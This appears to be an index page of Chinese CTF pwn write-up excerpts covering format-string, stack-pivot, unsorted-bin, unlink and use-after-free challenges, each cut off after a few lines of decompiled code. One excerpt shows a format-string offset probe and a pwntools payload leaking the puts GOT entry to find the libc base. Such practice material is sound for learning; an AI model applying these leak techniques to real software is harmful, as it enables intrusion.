axb_2019_fmt64(格式化单字节修改–\x00 截断) 格式化字符串漏洞,第一步是测偏移:aaaa%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x 发现偏移为 8,我们可以通过 puts 表泄露 libc 基地址 1234payload = p64(puts_got) + b"%8$s" p.sendafter("Please tell me:",payload)puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b
fmtstr::[HDCTF 2023]Minions 123456789101112131415161718192021222324252627282930313233int __fastcall main(int argc, const char **argv, const char **envp){ _BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF init(argc, argv, envp); vuln();"""int vuln(){ char buf[208]; // [rsp+0h]
栈迁移利用方法分析参考资料:https://hetian.blog.csdn.net/article/details/106561835 1)[Black Watch 入群题]PWN 1234567891011121314ssize_t vul_function(){ size_t _Hello_good_Ctfer__nWhat_is_your_name?_; // eax size_t _What_do_you_want_to_say?_; // eax _BYTE buf[24]; // [esp+0h] [ebp-18h] BYREF _Hello_
[HDCTF 2023]Makewish栈迁移+Canary+随机数+栈随机循环 一道开启了 Canary 的 64 位栈题,先搜集信息: 123456789101112131415161718192021int __fastcall main(int argc, const char **argv, const char **envp){ int buf_; // [rsp+8h] [rbp-38h] BYREF int buf__1; // [rsp+Ch] [rbp-34h] char buf[40]; // [rsp+10h] [rbp-30h] BYR
[NepCTF 2025] time 多线程栈 程序分析: 12345678910111213141516171819unsigned __int64 inputname(){ char *argv[5]; // [rsp+10h] [rbp-30h] BYREF unsigned __int64 v2; // [rsp+38h] [rbp-8h] v2 = __readfsqword(0x28u); puts("please input your name:"); __isoc99_scanf("%100s", byte_50A
[ 2021长城杯 ]K1ng_in_h3Ap_I 整个程序分析:main12345678910111213141516171819202122232425262728293031323334353637383940void __fastcall __noreturn main(__int64 a1, char **a2, char **a3){ int n2; // eax init_(); while ( 1 ) { while ( 1 ) { menu(a1, a2); n2 = atoi_0(); if
UnSortedbin Attack 例题分析参考资料:https://www.cnblogs.com/youdiscovered1t/p/19109746 特别好的一篇文章,很详细!!! BUUCTF 0ctf_2017_babyheap 123456789int sub_CF4(){ puts("1. Allocate"); puts("2. Fill"); puts("3. Free"); puts("4. Dump"); puts("5. Exit"); re
Unlink 例题分析[ZJCTF 2019]EasyHeap RELRO: Partial RELRO可以修改got表。没有开PIE 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354int __fastcall __noreturn main(int argc, const char **argv, const char **envp){ int n3; // eax char buf[8]; // [rsp+0h] [rbp
Use After Free 例题分析hitcontraining_uaf main 函数分析123456789101112131415161718192021222324252627282930313233343536373839404142int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ int n2; // eax char buf[4]; // [esp+0h] [ebp-Ch] BYREF int *p_argc; // [esp+4h] [ebp-8h] p_
[CISCN 2021 初赛]lonelywolf 程序分析: main 函数 12345678910111213141516171819202122232425262728293031323334353637void __fastcall __noreturn main(__int64 a1, char **a2, char **a3){ _QWORD v3[5]; // [rsp+0h] [rbp-28h] BYREF v3[1] = __readfsqword(0x28u); setvbuf_0(); while ( 1 ) { puts(&quo